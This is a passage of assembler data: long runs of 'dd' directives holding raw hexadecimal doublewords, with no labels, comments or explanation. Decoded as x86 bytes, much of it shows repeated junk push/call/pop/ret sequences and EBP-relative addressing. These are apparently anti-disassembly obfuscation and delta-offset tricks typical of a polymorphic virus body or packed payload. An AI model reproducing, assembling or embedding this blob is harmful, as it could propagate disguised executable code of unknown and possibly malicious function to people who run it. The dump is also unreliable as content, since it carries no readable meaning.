		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 2FBADFEEh, 6AD9CAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9D8B2DC3h
		dd 5E40061h, 30FDBD83h,	0F0305E4h, 3CB85h, 5FBD8300h, 5E79Fh
		dd 3BE840Fh, 0FFF80000h, 0E79F5FB5h, 99D8B05h, 0FF05E401h
		dd 0E41C1595h, 89576005h, 0E40FA59Dh, 858B5E05h, 5E40FD5h
		dd 53B58B61h, 6A05E79Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 6DC6C353h, 6DCBB66h
		dd 106C7h, 0B70F0001h, 0A99501DEh, 5005E42Bh, 89FE8B66h
		dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0FF791BC3h, 0E79F5FB5h, 9E905h, 0C6010000h
		dd 0F2A94955h, 0FFC11374h, 0E4172D95h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0B245165h, 53B58B22h, 5305E79Fh, 1D858B5Fh, 6A05E41Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 1E8EC355h, 101D8589h, 868905E4h, 0C4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 61C35141h, 49258B26h
		dd 21397359h, 7DB589A5h, 8B05E403h, 0E4109595h,	21BD8B05h
		dd 8305E421h, 0BD8B04C2h, 5E408B9h, 60205089h, 12E9h, 46F9E400h
		dd 5EBC9CEEh, 0BB5662A2h, 0D7FCCA38h, 89ED296Dh, 0E41FC19Dh
		dd 858D6105h, 5E7B384h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 8AC35040h, 75FF9BD7h,	867D4C74h, 0C800Fh
		dd 850F0000h, 6, 840Fh,	12E90000h, 2000000h, 5DB7071Dh
		dd 0B2276783h, 0B7E72C2Ah, 0E3B8A8BDh, 0AE8FAh,	0F0800000h
		dd 0CF2EF1E1h, 0F9D04D30h, 0D8C78166h, 86895F05h, 0B8h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 139F4CC3h, 6E9h, 5BD87400h, 0FF1C80F1h, 0E79F5FB5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 9D2B74E8h, 5E4041Dh, 104595FFh, 958905E4h
		dd 5E42735h, 8E950h, 29C00000h,	86049BAh, 3489BAA7h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0AC2C6962h, 98037F50h, 3121BD8Bh, 0B5FF05E4h, 5E79F5Fh
		dd 5E925ABFh, 6595FF6Fh, 6605E413h, 549FCF81h, 8F9BD83h
		dd 0F0005E4h, 5C84h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 5EC1C252h, 505003ADh
		dd 0BE852h, 8F6F0000h, 95296D2h, 1A064257h, 0FE97Eh, 7A2F0000h
		dd 47BCF338h, 0F48AF105h, 297F76BAh, 310F5FCFh,	3489585Ah
		dd 68F0F24h, 0B000000h,	0E426D9BDh, 5FB5FF05h, 6A05E79Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 2B01C353h, 0E41035BDh, 0C595FF05h, 8905E429h
		dd 0E417F18Dh, 0DE8B6605h, 9F5FB5FFh, 666005E7h, 61427CBFh
		dd 82D8589h, 95FF05E4h,	5E41971h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0CDC35040h,	0A906F31Ah, 660AD381h
		dd 1E46E781h, 2402E381h, 0BD837F15h, 5E43125h, 52840F02h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 3363C353h, 0E5847EB2h,	1191858Bh
		dd 0F5005E4h, 0C65FD8BFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 33AB29C3h, 0B798489Ah
		dd 0E585C764h, 5E419h, 0F8000000h, 0FFF346E9h, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0CCDC2D2Bh, 23B35497h, 14E8AFF8h, 41000000h,	13396540h
		dd 63341B34h, 0AFFF75E0h, 6D4DA76h, 198AC34h, 0E419D19Dh
		dd 0BF665F05h, 0C18B0C2Ch, 0F3B3E781h, 95296883h, 5E408E5h
		dd 19D5858Dh, 0D78105E4h, 2E89FF99h, 24048950h,	0CE9h
		dd 0BC22C00h, 0FF5F37D0h, 0F2AE769h, 6A006A36h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 766AC356h, 729E47AFh, 2149BD8Bh, 6A05E4h, 3241BD23h
		dd 858D05E4h, 5E888A7h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 2DC35747h, 201DBD89h,	0BD8905E4h, 5E41545h
		dd 6A05C083h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0D447C351h, 26499D8Bh,	816005E4h
		dd 0F957C9D9h, 0E9958966h, 6105E423h, 0CE950h, 0A6740000h
		dd 0F2806756h, 66AF2F85h, 4895040h, 0FB8B6024h,	0CF1B523h
		dd 6A6105E4h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0B95B6032h, 3BDF8166h, 6A006ACBh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 9306C356h, 8B663369h, 0A195FFFBh,	6A05E421h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0B2FCC353h, 0B491BAA1h, 8DF59CE0h, 0E79E7F8Dh
		dd 9DCF8005h, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0BF5AD0C3h, 0BD83ACC2h, 5E42995h
		dd 51850F01h, 89000000h, 0E404959Dh, 1026A05h, 0E402DDBDh
		dd 8F0F5005h, 20h, 0FE8h, 0F05D1200h, 9713C2E4h, 0B79DDBC5h
		dd 5F7CD353h, 6E9h, 0A4533A00h,	5F11992Ch, 0FF240489h
		dd 0E4104595h, 0EE905h,	25490000h, 0F1539D5Fh, 7C42E568h
		dd 0E9F63EBCh, 0D33E9h,	0E800h,	815D0000h, 0E888B1EDh
		dd 0BD8BF905h, 5E41671h, 8168858Dh, 42BF05E7h
		dd 504C6402h, 0B3A496BFh, 24048932h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 24C35747h, 0D1878980h, 0BD09ED00h
		dd 5E422C1h, 91FBBB66h,	35FF64h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3FBC355h
		dd 33920B34h, 81BD23D3h, 6605E41Ah, 6409C7BBh, 2589h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0D5D31AC3h, 0A2E58885h, 0F82B317h, 1A8Ah, 0EE800h, 0FD400000h
		dd 3B687724h, 817C3DD5h, 7D143A28h, 840Fh, 565B0000h, 2B7DBD0Bh
		dd 0FF5F05E4h, 0E4142D85h, 0B5958905h, 5005E424h, 0E1BDBB66h
		dd 53FF6A5Bh, 5FE9E380h, 2DBDB5FFh, 0FFF805E4h,	0E42DAD95h
		dd 145E905h, 0B00000h, 29099D89h, 70E605E4h, 8FFE381h
		dd 99B35ADEh, 0C38171E4h, 60166702h, 830F613Ch,	123h, 15880Fh
		dd 10E90000h, 13000000h, 42BE833Eh, 2A3A727h, 6B523873h
		dd 0FF8F265h, 6BAC8B6h,	0E9000000h, 12h, 7BED3E55h, 91F47700h
		dd 0A285C76Eh, 0F8A7A677h, 0C18B6F23h, 10E9h, 0A405A000h
		dd 32DB042Eh, 5F5C5888h, 6A5B5B4Ah, 4E8C192h, 0AE9h, 0CDD10A00h
		dd 0D79AD018h, 0E8BEE86Bh, 0Fh,	0EB6D19C2h, 8EB5E6FCh
		dd 28BA4E2Eh, 0BF76508Dh, 2172F8BAh, 0E2F7665Fh, 3165BD29h
		dd 0C82B05E4h, 1C7DBD8Bh, 0D18B05E4h, 5E9h, 84B4D500h
		dd 5E9CCABh, 66000000h,	8AB7DF8Bh, 107D858Bh, 0C08305E4h
		dd 8D296007h, 5E410BDh,	8BF78166h, 0C0836148h, 0C1BD0300h
		dd 3B05E417h, 24830FD0h, 0E8000000h, 12h, 59481168h, 16A136ECh
		dd 3EDCF751h, 90A6D696h, 0D380C6B1h, 38E95BA2h,	66000000h
		dd 8B005ABBh, 0E40FED8Dh, 83EAB305h, 840F01E1h,	23h, 196D9D0Bh
		dd 0A58305E4h, 5E40FEDh, 0DEBF0FFEh, 107D9589h,	815605E4h
		dd 0D1754DCFh, 0E95F15h, 8D000000h, 0E7F9BEB5h,	57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8B662C14h, 6A006ADAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 5638C350h, 0BCBDE331h
		dd 127D40E9h, 140DB501h, 95FF05E4h, 5E410C1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 21C35141h, 0D05F0217h
		dd 6684BD3Bh, 50DDDB81h, 8A7B9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0A7485F2Ah
		dd 0E183407Ah, 55006AFCh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 1487D669h, 6AFC88h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0FCA71BC3h, 0B8h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0ABEFB35h, 443C43DCh
		dd 0CE9h, 0C1EA3B00h, 7D32C36h,	9046D35Dh, 0BA11h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 811804C3h, 0CA8F57ACh, 0FEBF6639h, 0C233AD70h, 0D003E8D1h
		dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 6E221B9Ah, 6A55A912h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0FF66C357h
		dd 0BD8B5316h, 5E41E0Dh, 880D5Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E4D8D7C3h
		dd 8B78EE2Ah, 0E4109595h, 8024BF05h, 8D8B07D5h,	5E42C65h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 494ECFC3h, 83DA8B66h, 0E42135BDh, 840F0005h,	82h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 19C35747h, 0FBC6AF0Fh
		dd 0C2342CD1h, 0B8FA8B66h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 21C35343h
		dd 5025EFB5h, 8D8D5FF9h, 5E44C30h, 29918589h, 0E1FF05E4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D6C35646h
		dd 64578BA8h, 3135B589h, 0BD8305E4h, 5E430FDh, 8C840F00h
		dd 8B000003h, 0E41F719Dh, 0FDBD8305h, 105E430h,	394840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8D8922C3h, 5E42CDDh, 0FDBD83F8h, 305E430h
		dd 32E860Fh, 8D890000h,	5E43101h, 13E860h, 0D8A60000h
		dd 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh, 0BA4119EEh,	75DB8131h
		dd 5B70DAD4h, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0AB05C353h,	0EE628A6Fh
		dd 1C09B589h, 958905E4h, 5E4046Dh, 8904E180h, 0E4265D85h
		dd 0FC90A05h, 0FA84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 5C67529Ch, 8B906DDCh
		dd 0E42C9D85h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 4F7A44F6h, 0CC24341Eh
		dd 8D2908DFh, 5E410B9h,	20998533h, 665005E4h, 489FB8Bh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0A8F66F47h, 0E92F40ABh, 0Fh, 637247A3h
		dd 699B9906h, 0AA0098EBh, 6AABABE1h, 66FE8B00h,	19BFE381h
		dd 4E8h, 1F03FF00h, 4ABB6600h, 0F5250E6h, 281h,	5F616000h
		dd 424448Bh, 68D0Fh, 8C0F0000h,	0
		dd 0FB8B008Bh, 4244489h, 0BF5814B7h, 4884C432h,	15995FFh
		dd 958905E4h, 5E41439h,	9F5F8589h, 0DE8B05E7h, 7DE78166h
		dd 187E94Bh, 1EBB0000h,	8B233CA2h, 0E79F5785h, 0C7F505h
		dd 18h,	9A1BD2Bh, 0B58B05E4h, 5E79F5Bh,	0F8F0F50h, 0E9000000h
		dd 0Ah,	0BD181080h, 39CD7813h, 8B5FBA6Bh, 0E42A2185h, 6A068905h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0BEE8C357h, 9D8BFD8Ah, 5E427D1h, 2C9D858Bh
		dd 0D78105E4h, 43F0EDA3h, 6A044689h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 9DD1C353h
		dd 0AB119DA5h, 0DE9503Bh, 24000000h, 5C7405F0h,	97A2655Bh
		dd 0E62CBBDAh, 0F243489h, 0B5FFFEBFh, 5E79F57h,	0EF47DB81h
		dd 4E8531Eh, 0FF000000h, 0E9001F03h, 0Eh, 0BFEC30C8h, 25398A4h
		dd 61C74A43h, 0E950EACCh, 6, 1C8F597Dh,	448B635Ch, 8B0424h
		dd 0F1BB6660h, 0F88B6677h, 24448961h, 14E904h, 0F8D10000h
		dd 0E912AE5Dh, 6E36434Eh, 3ED472DEh, 0BD568C5Eh, 895852F1h
		dd 0E400FDBDh, 5F858D05h, 6A05E79Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8D17C352h
		dd 0D85A4BF5h, 0FE951h,	0E00C0000h, 9D25D784h, 0C5FA5591h
		dd 42AF8BC0h, 0FE8906Eh, 5A000000h, 0BAA568B1h,	51DB39DDh
		dd 0B6EAFEC2h, 0BF6686D6h, 505F1AFAh, 7E9h, 0CCF51400h
		dd 588380DEh, 623EBB90h, 68BF4984h, 0FF28EB94h,	0E4015995h
		dd 6A6105h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0C7588FC3h, 0E430FD85h, 305h, 15BD8B00h
		dd 8305E416h, 0E79F5FBDh, 840F0005h, 10h, 24618589h, 20E905E4h
		dd 0B7000000h, 0F88B669Bh, 110C3050h, 1114400h,	3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 8BC08B00h, 0E4110DBDh, 31BD8B05h, 6A05E402h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 4101C352h, 83DEBF0Fh, 0E430FDBDh,	850F0305h
		dd 3ECh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 18h,	6FC35545h, 27028F1Fh, 9F5FBD83h, 0F0005E7h, 3BF84h
		dd 0B19D8B00h, 0FF05E417h, 0E79F5FB5h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 85314046h, 5E430B1h,	2B358D29h, 858905E4h, 5E4155Dh
		dd 1C1595FFh, 0F5105E4h, 8B5FFABFh, 0E79F53B5h,	50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0C1A67907h, 0F460C5DAh, 6C72858h, 10001h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 2BC35747h, 964ED380h
		dd 50F88B66h, 96DA8B66h, 0D0816660h, 8589F410h,	5E40285h
		dd 5FB5FF61h, 6A05E79Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 95A6C353h, 8E9A6D1h
		dd 52000000h, 83039834h, 0FFBB96ADh, 0E4172D95h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BE870B3h, 0A7000000h, 600648B8h, 0FBB8502Fh, 0FB8B24D3h
		dd 53B58B5Fh, 8005E79Fh, 858B32E7h, 5E41D1Dh, 19998D89h
		dd 868905E4h, 0C4h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0B1C35343h, 8BFA8B66h, 0E4109595h, 399D8B05h
		dd 8305E417h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 76F38AC3h, 50891D46h, 8ABB6620h
		dd 84858D54h, 6A05E7B3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 10EEC353h, 0A2048746h
		dd 999D8940h, 8905E416h, 0B886h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 95AB3B36h
		dd 90BFB804h, 0E9006AF0h, 8, 5DAA8455h,	4EE81B58h, 9F5FB5FFh
		dd 9D8905E7h, 5E410F1h,	104595FFh, 6A05E4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 6E069EC3h
		dd 0C45B1DAEh, 89BB507Bh, 8906251Dh, 0FFF92434h, 0E79F5FB5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0A535391Fh, 544C3DE5h, 0FFF98B66h, 0E4136595h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 7453CAC9h, 0A9AEA272h, 0D88BF8B9h, 0BD83DA8Bh
		dd 5E408F9h, 30840F00h,	66000000h, 29FF381h, 50D88B96h
		dd 10DBF66h, 0E8FA8B96h, 14h, 84ACC090h, 81E2E6E3h, 40EA5856h
		dd 1ED8C1B4h, 0EDFB724Fh, 1FB99589h, 0FF5F05E4h, 0E79F5FB5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 4D7FBA8Fh, 0BC945135h, 8E9h, 38B03200h
		dd 7E53F4E9h, 0C595FF3Bh, 6A05E429h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 8938C357h
		dd 0A58D296Fh, 0FF05E400h, 0E79F5FB5h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 5FFFE5EFh, 69BBA5B7h, 0FF68EA27h, 0E4197195h, 1DBD8B05h
		dd 8305E414h, 0E43125BDh, 840F0205h, 48h, 5E8h,	1FD6B100h
		dd 8589BCECh, 5E42421h,	92E3815Bh, 8B7DA5C1h, 0E4119185h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0AF55B484h, 23D9D8Bh, 0C605E4h, 0DBEB8000h
		dd 19E585C7h, 5E4h, 0B5890000h,	5E411CDh, 0FFF40CE9h, 52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 8261E591h, 0D8830087h, 2AD9BD8Bh, 0C18B05E4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A8C35747h, 6E8h
		dd 0F2403800h, 5BA24645h, 19D5858Dh, 0DE905E4h,	9B000000h
		dd 7EA68CCEh, 38BCB610h, 604BCB55h, 0DF8B6690h,	90F88B50h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 17C35040h
		dd 0CE775A18h, 0C98D89F0h, 6A05E40Dh, 0E0C0BB00h, 6A4FEFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 72C35545h
		dd 1BDB1B79h, 3D9D030Dh, 8D05E415h, 0E8979D85h,	359D8B05h
		dd 8305E418h, 0BF6605C0h, 5053E2A6h, 5F5BE0B7h,	895B5150h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 9D298DC3h, 5E42D25h, 0BE9h, 0E51CC600h, 0F02B76CEh
		dd 0AA60DBE2h, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 3BD9CFC3h, 0C4144334h, 0B9BD0122h
		dd 6A05E408h, 6DB50900h, 0FF05E426h, 0E421A195h, 0A18D3105h
		dd 8D05E409h, 0E79E7F8Dh, 0DE905h, 4D800000h, 0B57EC520h
		dd 2E805396h, 0FFACF3A8h, 6800FD1h, 33000000h, 0E420459Dh
		dd 0CBC38105h
		dd 83476B41h, 0E42995BDh, 850F0105h, 7Eh, 1BD8B52h, 5B05E428h
		dd 9D8B026Ah, 5E413A1h,	0F525090h, 52506031h, 585A310Fh
		dd 880Fh, 5A610000h, 12E95058h,	7E000000h, 0DE80A3ADh
		dd 77A06DECh, 6CD47814h, 1F4E0D51h, 6A9094h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0A8F193C3h
		dd 11E94F5Ch, 0C3000000h, 0F142980Dh, 8D34AD49h, 9F7D4724h
		dd 4A9FED1Ah, 104595FFh, 0BB6605E4h, 0D9E9234Dh, 0E800000Eh
		dd 0
		dd 0A7ED815Dh, 0E905E897h, 5, 0EDBC0F5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 858DF4CEh, 5E78168h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0B3C35343h, 0B70F8061h, 6E950DEh, 8E000000h
		dd 414DD3F2h, 24048966h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0C3C35747h, 8020AB48h, 0BF66EFDFh, 0FF64F59Bh
		dd 35h,	0C3816600h, 89647898h, 25h, 319D8B00h, 0FF05E401h
		dd 0E4142D85h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0BC512DDEh, 0C484AFBDh
		dd 8160B712h, 0A1F971C7h, 0FD95892Ch, 6105E419h, 9589FF6Ah
		dd 5E404F9h, 26FDB5FFh,	0FE905E4h, 68000000h, 0C362B174h
		dd 8908325Bh, 0AB71B69Fh, 95FF1A5Bh, 5E42DADh, 170E9h
		dd 0B0F900h, 22619589h,	70E605E4h, 2581BD01h, 71E405E4h
		dd 2A95BD8Bh, 8E905E4h,	56000000h, 0B29CE40Ah, 3C787401h
		dd 42830F61h, 0E8000001h, 0Fh, 415C5A07h, 75028567h, 5D98BE19h
		dd 5FF0D00Eh, 89C8B60Fh, 0E428418Dh, 0F7816605h, 6BAF3FFh
		dd 3000000h, 0E416219Dh, 0E9C18B05h, 0Bh, 0F5F31FC3h, 7F6F06D1h
		dd 0C1979828h, 890F04E8h, 6, 0C99D0Bh, 6E905E4h, 0D7000000h
		dd 0F990FEC8h, 0E2F7661Ah, 0E9C82BF8h, 9, 0EE3F3407h, 8E36A33Bh
		dd 25BD2969h, 8B05E42Ah, 59BD8BD1h, 6005E414h, 0EE9h, 779E3200h
		dd 6BC8DAB2h, 33948E3Bh, 50E8942Dh, 0CE9h, 0B8A8BD00h
		dd 243FAE3h, 0BB6E1DD3h, 0E9615F50h, 2,	858B83B7h, 5E42839h
		dd 17F9BD8Bh, 0F6005E4h, 58Ah, 783DB800h, 10E91030h, 9F000000h
		dd 0B371CD8h, 7AD181B7h, 0B267E84Ah, 610A836Ah,	8B07C083h
		dd 0E41C199Dh, 0C08305h, 978AD0BBh, 0FD03B10h, 0B83h, 75B58900h
		dd 0E905E410h, 45h, 1A3D8D8Bh, 0AE905E4h, 7B000000h, 6FBDFCB8h
		dd 0F33985ACh, 1E1836Fh, 27840Fh, 0BD290000h, 5E413BDh
		dd 1A3DA583h, 80FE05E4h, 9589B7F3h, 5E42839h, 30D99529h
		dd 953105E4h, 5E43231h,	0E9h, 95B58D00h, 8105E804h, 0DF3E62E3h
		dd 8B006A15h, 0E41AF5BDh, 0C195FF05h, 8905E410h, 0E42B398Dh
		dd 810B905h, 9D890000h,	5E42799h, 6AFCE183h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8972C356h, 0E422598Dh, 6AFC05h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 6B3C9C3h, 0BB666869h
		dd 0C02BF9A3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	56C35343h, 0CEFFCE8Ch, 8B23B868h, 0E408D5BDh, 0BA05h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 3F6F46C3h, 0DF8B3CB3h, 16A5BD89h,	33AD05E4h
		dd 3E8D1C2h, 4E983D0h, 0BD89F475h, 5E40449h, 19998589h
		dd 880D05E4h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 9223C352h, 423B1F7Bh
		dd 1095958Bh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0F8087BC3h, 891D575Ah, 0E40371BDh
		dd 658D8B05h, 0BF05E42Ch, 64CF8FEBh, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 9BD78AC3h, 4C7475FFh
		dd 0BD83867Dh, 5E42135h, 0A0840F00h, 0F5000000h, 0EE9h
		dd 100D2B00h, 5129596Fh, 0D6B31920h, 0B8B6ECD9h, 0
		dd 95336060h, 5E41609h,	0C3AEB866h, 0C1858961h,	6105E41Eh
		dd 4C308D8Dh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 4574CCC3h, 0F91B50A8h, 9E9h, 6BE22000h
		dd 472F6DD5h, 0BF66BC1Eh, 0E1FF53D3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0C7C35545h,	890F9651h, 13h
		dd 7E8h, 99066300h, 98EB699Bh, 2005BD33h, 835B05E4h, 0E430FDBDh
		dd 840F0005h, 454h, 1DF38166h, 0FDBD838Fh, 105E430h, 45D840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 81DB67C3h, 0E65A06C7h, 0FDBD8334h, 305E430h
		dd 3F7860Fh, 13E90000h,	4E000000h, 0D28B659Ah, 0D2BDD19Ah
		dd 0AAACFEACh, 326D16D5h, 666084BAh, 662EFCBFh,	80F5D98Ch
		dd 0C78104E1h, 0CFC4A02h, 840FC90Ah, 1AAh, 1311B589h, 858B05E4h
		dd 5E42C9Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	2C35141h, 85330888h, 5E42099h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0AAC35646h,	24048950h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 2DC35545h, 0BB04531Ah
		dd 13364345h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 5721FBC3h, 7BD01F2Ah, 815127C5h
		dd 106B5AC7h, 4E85B4Ch,	0FF000000h, 66001F03h, 503725BFh
		dd 0FE8B6660h, 810F5250h, 0
		dd 22BE310Fh, 5A64FB31h, 448B6158h, 8B0424h, 61C78B60h
		dd 4244489h, 13E8h, 72F59A00h, 0D8210239h, 708C20FEh, 0F6F2C36Bh
		dd 3297CAD5h, 0DD3DBF66h, 6A585Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 603AE2C3h, 0E1958B60h
		dd 5305E430h, 38BA615Ah, 611898C2h, 9019C781h, 95FF483Dh
		dd 5E40159h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	62C35343h, 0FDBD8BFFh, 8B05E40Ch, 0E43095BDh, 5F858905h
